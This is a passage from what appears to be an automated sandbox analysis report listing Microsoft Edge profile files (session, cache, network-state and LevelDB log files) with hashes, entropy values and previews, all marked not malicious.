SHA1:	EBDB84CF630AF9781DB23E729EEC107400E14CEF
SHA-256:	736465FD093C582F1D74054D5F2B09411B3A321D3CA66B45C49CECCDE8ECA73A
SHA-512:	A92E71C170650EE0ABBB244047E0E851A951C621D924436666F6125424676C28F686E3370EB167687D46F29D414D06E923994B40F49D7DE9818831415CC5EA8A
Malicious:	false
Preview:	SNSS........t.(............t.(......".t.(............t.(........t.(........t.(........t.(....!...t.(................................t.(.t.(1..,....t.($...bf48fc59_1c49_414a_b418_4898d4ddb5eb....t.(........t.(.....\6.........t.(....t.(........................t.(....................5..0....t.(&...{98952893-68FF-4A5D-A164-705C709ED3DB}......t.(........t.(...........................t.(............t.(........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........K..&....K..&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.104728651652624
Encrypted:	false
SSDEEP:	6:HUxIvIq2P923oH+Tcwt7Uh2ghZIFUt8YUxIvZZmw+YUxIvzkwO923oH+Tcwt7Uh9:pvIv4YebIhHh2FUt80vZ/+0vz5LYebIT
MD5:	22365B79E0C6FEF094C48E6A10452F36
SHA1:	5A28E6E491129EB2B1B886DF063173D0D4790CA5
SHA-256:	B9ED14DB1C187FCAB68BB336247AADE92B2CB8150468396DD62BF46C65D28C9E
SHA-512:	7BC28362A7317E0E965FC3A37D8C309D8C6BBD0319E74C53EE9D849214DBB7955B78221FB71DBC3DF3C43665BB3AD56F145A3CF332A22BBB63665C92E438F3B9
Malicious:	false
Preview:	2024/11/11-22:16:19.967 1ef0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/11-22:16:19.967 1ef0 Recovering log #3.2024/11/11-22:16:19.967 1ef0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.104728651652624
Encrypted:	false
SSDEEP:	6:HUxIvIq2P923oH+Tcwt7Uh2ghZIFUt8YUxIvZZmw+YUxIvzkwO923oH+Tcwt7Uh9:pvIv4YebIhHh2FUt80vZ/+0vz5LYebIT
MD5:	22365B79E0C6FEF094C48E6A10452F36
SHA1:	5A28E6E491129EB2B1B886DF063173D0D4790CA5
SHA-256:	B9ED14DB1C187FCAB68BB336247AADE92B2CB8150468396DD62BF46C65D28C9E
SHA-512:	7BC28362A7317E0E965FC3A37D8C309D8C6BBD0319E74C53EE9D849214DBB7955B78221FB71DBC3DF3C43665BB3AD56F145A3CF332A22BBB63665C92E438F3B9
Malicious:	false
Preview:	2024/11/11-22:16:19.967 1ef0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/11-22:16:19.967 1ef0 Recovering log #3.2024/11/11-22:16:19.967 1ef0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	270336
Entropy (8bit):	0.0018238520723782249
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEflyl/l:/M/xT02zNl
MD5:	990AEC3C99517E9ED9182E128C9525C5
SHA1:	89580DC82D3199EB15C2CBE89BEC3753BFCDEAD8
SHA-256:	A42B7126AD10FB6CCCA01DF93F0C76AC5002C486CB996A57AFD44294C7005308
SHA-512:	760D7303DB2480985355F05090AF226D798B08B3CB934C355D3B74BD3D492A72A55C60BBEBFBCBF50260A4C506EE99A1D6082B75D3F6BE1F1A954C49A3320F8B
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.210385800833525
Encrypted:	false
SSDEEP:	6:HUxtIq2P923oH+TcwtzjqEKj3K/2jMGIFUt8YUxi5Zmw+YUxPJkwO923oH+Tcwt8:Nv4YebvqBQFUt8W5/+TJ5LYebvqBvJ
MD5:	925F70471D9344E341D8ECCBC259C842
SHA1:	11D3ED1AE11369A4BE1B29C3F4F8F5F98894EBFC
SHA-256:	5C52FF1A2D9B653A4844E767C559078D324C38467C9D7B51F583A1E859C05B54
SHA-512:	20C0754744EA9A20EBE533EEF1962B1D2767BD07BF3950D25E5104C8F977FF84A474ABE6AC0EF435D8CE73B0A3B796A4FC841BDBA8398A5838393842152ED113
Malicious:	false
Preview:	2024/11/11-22:16:21.035 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/11-22:16:21.036 1c84 Recovering log #3.2024/11/11-22:16:21.039 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.210385800833525
Encrypted:	false
SSDEEP:	6:HUxtIq2P923oH+TcwtzjqEKj3K/2jMGIFUt8YUxi5Zmw+YUxPJkwO923oH+Tcwt8:Nv4YebvqBQFUt8W5/+TJ5LYebvqBvJ
MD5:	925F70471D9344E341D8ECCBC259C842
SHA1:	11D3ED1AE11369A4BE1B29C3F4F8F5F98894EBFC
SHA-256:	5C52FF1A2D9B653A4844E767C559078D324C38467C9D7B51F583A1E859C05B54
SHA-512:	20C0754744EA9A20EBE533EEF1962B1D2767BD07BF3950D25E5104C8F977FF84A474ABE6AC0EF435D8CE73B0A3B796A4FC841BDBA8398A5838393842152ED113
Malicious:	false
Preview:	2024/11/11-22:16:21.035 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/11-22:16:21.036 1c84 Recovering log #3.2024/11/11-22:16:21.039 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4a4ae8bc-1477-46b5-bc57-58096c053fb6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\863e4bb3-cc68-4cb4-938d-177f402eaefb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8ffb3307-2183-48bd-b6aa-547ddb9715bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF3d40a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF383a8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF388a9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c5383577-1235-4652-8be2-5e03dcdfd8b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d3804889-8959-4e2c-bc0b-5c4204879866.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f58b0cc2-05c9-48b0-a20c-8a4b87e1c6b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.237352440126794
Encrypted:	false
SSDEEP:	6:HUxxJaq2P923oH+TcwtzjqEKj0QMxIFUt8YUxGzFZZmw+YUxGWkwO923oH+TcwtT:wJav4YebvqBZFUt82Z/+R5LYebvqBaJ
MD5:	A55C2FA7ADEF5A5CCCFAAFA00ED6C217
SHA1:	2A2D5D7252E43EAA2D76867BB2F6EEA6FC2B40DE
SHA-256:	FA205A5E5FF7257D38F5391CB15B60C34BAC7E643D08BEA46A55EBEDAE7CDA1E
SHA-512:	231BE801C66FB59CC9CB33F0FE6506039F1F638B6796C24A206B7E082BD487339CBE0F883609C0A5C2C34C8649F1B77DC08139816A97B81157AA853EAD1811CF
Malicious:	false
Preview:	2024/11/11-22:16:37.364 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/11-22:16:37.370 1c84 Recovering log #3.2024/11/11-22:16:37.373 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.237352440126794
Encrypted:	false
SSDEEP:	6:HUxxJaq2P923oH+TcwtzjqEKj0QMxIFUt8YUxGzFZZmw+YUxGWkwO923oH+TcwtT:wJav4YebvqBZFUt82Z/+R5LYebvqBaJ
MD5:	A55C2FA7ADEF5A5CCCFAAFA00ED6C217
SHA1:	2A2D5D7252E43EAA2D76867BB2F6EEA6FC2B40DE
SHA-256:	FA205A5E5FF7257D38F5391CB15B60C34BAC7E643D08BEA46A55EBEDAE7CDA1E
SHA-512:	231BE801C66FB59CC9CB33F0FE6506039F1F638B6796C24A206B7E082BD487339CBE0F883609C0A5C2C34C8649F1B77DC08139816A97B81157AA853EAD1811CF
Malicious:	false
Preview:	2024/11/11-22:16:37.364 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/11-22:16:37.370 1c84 Recovering log #3.2024/11/11-22:16:37.373 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.159015381559655
Encrypted:	false
SSDEEP:	6:HUxI4FL+q2P923oH+TcwtpIFUt8YUxI4T1Zmw+YUxUlLVkwO923oH+Tcwta/WLJ:p4ov4YebmFUt884T1/+4z5LYebaUJ
MD5:	D470392B10337D0219285519C9D33EEC
SHA1:	DD4BB67E0E50B4D135B3D62C8AFA01233548DEF2
SHA-256:	93B846150E1700EB8D2578ECB7ABB83A4F4CE54B5D04719E0CA6652A3FDF924B
SHA-512:	15F63E50493EE296322CFE79A3AD2DFE415C8A7FB59216255B3AD5C2A367EAC0C8AB94E458FB10065E8B2F944E0C1EC1DE0391C9AF934EFE4324303D088051B5
Malicious:	false
Preview:	2024/11/11-22:16:19.871 1ee8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/11-22:16:19.871 1ee8 Recovering log #3.2024/11/11-22:16:19.872 1ee8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.159015381559655
Encrypted:	false
SSDEEP:	6:HUxI4FL+q2P923oH+TcwtpIFUt8YUxI4T1Zmw+YUxUlLVkwO923oH+Tcwta/WLJ:p4ov4YebmFUt884T1/+4z5LYebaUJ
MD5:	D470392B10337D0219285519C9D33EEC
SHA1:	DD4BB67E0E50B4D135B3D62C8AFA01233548DEF2
SHA-256:	93B846150E1700EB8D2578ECB7ABB83A4F4CE54B5D04719E0CA6652A3FDF924B
